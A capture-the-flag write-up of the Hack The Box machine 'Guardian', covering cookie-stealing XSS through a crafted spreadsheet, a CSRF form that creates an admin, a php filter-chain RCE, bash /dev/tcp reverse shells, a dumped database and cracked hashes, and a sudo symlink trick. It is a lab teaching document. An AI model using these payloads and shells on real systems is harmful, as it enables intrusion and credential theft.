Guardian is a hard-rated Linux machine on Hack The Box that demonstrates several real-world vulnerabilities. The box walks you through stored XSS, flaws in PhpSpreadsheet, the dangers of trusting user-supplied arguments, remote file inclusion (RFI), and privilege escalation.
This write-up covers the exploitation of the box in detail.
We start off by running an nmap scan against the target.
nmap --min-rate 1000 10.10.11.84 -p-
This reveals 2 open ports - 22 and 80. We perform a service detection scan on them.
nmap --min-rate 1000 -sVC 10.10.11.84 -p 22, 80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-31 06:30 UTC
Nmap scan report for 10.10.11.84
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://guardian.htb/
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Apparently, the default website on the target server runs on port 80 and responds to vhost: guardian.htb.
Before proceeding further, we add this to our /etc/hosts file.
echo "10.10.11.84 guardian.htb | sudo tee -a /etc/hosts
Now, we can visit the website guardian.htb. The website has a butto which takes us to the student portal [portal.guardian.htb] and an interesting testimonials section, which reveals a few student usernames.
We add the portal host - portal.guardian.htb to /etc/hosts and visit the website.
The notification takes us to the portal guide, which lists the default password for students. We now use the previously found student usernames and try logging in with the default password.
Login succeeds with the very first username - GU0142023 and password - GU1234.
On browsing through the website, we come across the Assignments tab which can be used to submit Office files and an interesting Chats tab.
On opening a chat, we see that the URL takes the parameters chat_users[0] and chat_users[1] to fetch the chat between users.
This can easily be exploited and we change the user ids to fetch chats between different users.
On changing the chat users to 1 and 2, we come across the chat between admin and jamil.enockson which reveals the gitea password of Jamil's account.
We now add the host gitea.guardian.htb to our /etc/hosts too.
Visiting gitea, we can login using the username:password - jamil:DHsNnk3V503 which reveals 2 repositories.
We can download the source code to portal.guardian.htb from this repository.
Going through the source code, we find that the website uses PHPOffice. Going through composer.json, we find the exact version.
{
"require": {
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
}
}
Searching the web, we find out that this version is vulnerable to CVE-2025-22131 which enables an attacker to perform XSS attack.
From the source code (view-submission.php), we find that phpspreadsheet is used when a teacher opens a student's submission to render the file.
The attack path from here would be to create a malicious spreadsheet which will contain our XSS payload as a table name.
To create the maicious excel file we use the following python script.
from openpyxl import Workbook
from base64 import b64encode
IP = "10.10.x.x"
PORT = 8080
PAYLOAD = f"fetch('http://{IP}:{PORT}/c?c='+document.cookie)"
BASE64_ENCODED = b64encode(PAYLOAD.encode())
FULL_PAYLOAD = f'"><img src=x onerror=eval(atob(\'{BASE64_ENCODED.decode()}\')) >'
print("\n"+"Constructed Payload: "+ FULL_PAYLOAD+"\n")
def create_excel_file(filename="boom.xlsx"):
wb=Workbook()
ws1=wb.active
ws1.title="Sheet 1"
wb.create_sheet(title=FULL_PAYLOAD)
wb.save(filename)
print(f"Excel file '{filename}' created successfully.")
if __name__ == "__main__":
create_excel_file("boom.xlsx")
python3 exploit.py
We can now open a listener on our machine on port 8080 and then upload this file.
rlwrap nc -lvnp 8080
On submitting, a bot opens the file and we get the sessionid of the teacher.
Having obtained the session cookie, we can replace our cookie in the browser with the new one obtained.
Reloading the website takes us to the Lecturer Dashboard and we get logged in as sammy.treat.
Exploring thew website, we come across the Notice Board and we see a button to create a notice.
This opens a form which has a field for a reference link which will be reviewed by the admin. This means that we can put a malicious url and the admin would open it.
Reviewing the source code for admin-only endpoints, we come across /admin/creatuser.php. This file can be used by the administrator to create a user (another administrator too).
The only issue is, to make a POST request to this page, we would need a CSRF token. The CSRF tokens are checked against the global pool in the application and not against user sessions. This implies that we would be able to use the csrf token supplied with the notice creation form and a request with the token will be trusted by the server (csrf-tokens.php).
We can copy the csrf token from the notices.php page (using the Elements tab in the developer console) that we have access to, and create a malicious page named index.html on our attack machine that would make the admin create a user by submitting a pre-filled form.
<html>
<body>
<form action="http://portal.guardian.htb/admin/createuser.php" id="form" method="POST">
<input type="hidden" name="username" value="toshith" />
<input type="hidden" name="password" value="1ceman" />
<input type="hidden" name="full_name" value="Ice" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="dob" value="2000-10-10" />
<input type="hidden" name="address" value="Frozen" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="898f7e29584758e6b6b1ecc15f8adaaf" />
</form>
<script>
document.getElementById("form").submit();
</script>
</body>
Then we start a light-weight python server.
python3 -m http.server
Finally, we create a notice and get a hit on our python web server.
Logging in with the credentials toshith:1ceman we land on the admin dashboard.
Exploring the admin dashboard be come across this url http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php.
This has a potential for LFI. Checking the file /admin/reports.php in the source code,we see that this page has a regex check.
<?php
$report = $_GET['report'] ?? 'reports/academic.php';
// Block any request with '..' in the file path (to prevent directory
traversal)
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked</h2>");
}
// Ensure the report file is one of the allowed types (enrollment, academic,
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/',
$report)) {
die("<h2>Access denied. Invalid file</h2>");
}
?>
<?php include($report); ?>
This means as long as the GET request ends with enrollment|academic|financial|system)\.php it'll pass.
Searching the web we come across php_filter_cahin_generator by Synacktiv.
To use this, we clone it.
git clone https://github.com/synacktiv/php_filter_chain_generator
We then create a file named shell in our python web server's directory containing the reverse shell payload.
bash -c "bash -i >& /dev/tcp/10.10.x.x/4444 0>&1"
Then we start a reverse shell listener on our machine.
nc -lvnp 4444
Next, we create the php filter chains to download the shell file and execute it.
python3 php_filter_chain_generator.py --chain '<?php exec("wget 10.10.16.81:8000/shell"); ?>'
This generates a huge payload in the form
php://filter/convert.iconv.UTF8....de/resource=php://temp. To use this, we paste this in this format in the browser:http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.....resource=php://temp/enrollment.php
python3 php_filter_chain_generator.py --chain '<?php exe("cat shell| sh"); ?>'
This gives us a shell as www-data.
www-data@guardian:~/portal.guardian.htb/admin$ whoami
whoami
www-data
Performing some reconnaisance, we obtain mysql credentials and salt.
cat config/config.php
cat config/config.php
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
We can read the guardiandb using these creds.
www-data@guardian:~/portal.guardian.htb$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' -e 'show databases;'
Database
guardiandb
information_schema
mysql
performance_schema
sys
www-data@guardian:~/portal.guardian.htb$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' -e 'show tables;' guardiandb
Tables_in_guardiandb
assignments
courses
enrollments
grades
messages
notices
programs
submissions
users
Finally to dump the users
www-data@guardian:~/portal.guardian.htb$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' -e 'select user_id,username,password_hash,email,user_role from users;' guardiandb
user_id username password_hash email user_role
1 admin 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 [email protected] admin
2 jamil.enockson c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 [email protected] admin
3 mark.pargetter 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e [email protected] admin
4 valentijn.temby 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 [email protected] lecturer
....
Furthermore, /etc/passwd also contains mark and jamil.
cat /etc/passwd
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
The hashing algorithm, uses the salt 8Sb)tM1vs1SS for passwords.
To crack these hashes we create a file hashes.txt to use with hashcat.
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS
hashcat -a 0 -m 1410 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 1410 hashes.txt /usr/share/wordlists/rockyou.txt --show
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
This gives us the password of jamil.
To connect as Jamil, we can use ssh and the cracked password.
ssh [email protected]
We can read the user flag from the HOME directory!
cat user.txt
We perform some reconnaisance and find a command that jamil can run as mark.
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
Going through this script, we find that it is a wrapper for the utility scripts located at /opt/scripts/utilities/utils.
jamil@guardian:~$ ls -la /opt/scripts/utilities/utils
total 24
drwxrwsr-x 2 root root 4096 Jul 10 2025 .
drwxr-sr-x 4 root admins 4096 Jul 10 2025 ..
-rw-r----- 1 root admins 287 Apr 19 2025 attachments.py
-rw-r----- 1 root admins 246 Jul 10 2025 db.py
-rw-r----- 1 root admins 226 Apr 19 2025 logs.py
-rwxrwx--- 1 mark admins 253 Apr 26 2025 status.py
The status.py script is editable by mark and admins group. We saw earlier that jamil belongs to the admins group too.
We modify the script to get a reverse shell as mark.
nano status.py
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.system("bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'")
Then we start a new listener on our attack machine.
rlwrap nc -lvnp 4444
Finally, we trigger the exploit.
sudo -u mark /opt/scripts/utilities/utilities.py system-status
This gives us a shell as mark.
Mark is allowed to execute a file as root.
mark@guardian:/opt/scripts/utilities/utils$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
mark@guardian:/opt/scripts/utilities/utils$ ls
attachments.py
db.py
logs.py
status.py
Exploring it, this file is a wrapper for apache2ctl with some constraints. Luckily, an exploit for this exists on GTFOBins.
We can download and reverse engineer the file using Gidhra. To download the file we can open up a listener as follows on our attack machine.
nc -lvnp 4445 > safeapache2ctl
And send it over from the target using,
cat /usr/local/bin/safeapache2ctl > /dev/tcp/10.10.x.x/4445
The wrapper basically blocks access to any config files outside a specific folder in Mark’s home directory. It also validates that any external files being loaded exist within that same folder — otherwise, they get blocked again.
The workaround is to place everything inside the allowed directory. Create a config file in the valid folder, have it reference a symlink that also resides in that folder, and then point that symlink to /root/root.txt.
We create a symlink pointing to the root flag.
mark@guardian:~/confs$ ln -s /root/root.txt /home/mark/confs/link
Then we create the configuration file /home/mark/confs/file.conf.
mark@guardian:~/confs$ cat > file.conf << 'EOF'
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
ServerRoot "/etc/apache2"
PidFile /tmp/fake.pid
Listen 9999
ServerName localhost
Include /home/mark/confs/link
EOF
Finally, we run the exploit.
mark@guardian:~$ sudo safeapache2ctl -f /home/mark/confs/file.conf
AH00526: Syntax error on line 1 of /home/mark/confs/link:
Invalid command '<REDACTED>', perhaps misspelled or
defined by a module not included in the server configuration
Action '-f /home/mark/confs/file.conf' failed.
The Apache error log may have more information.
This gives us the root flag and concludes the Guardian machine!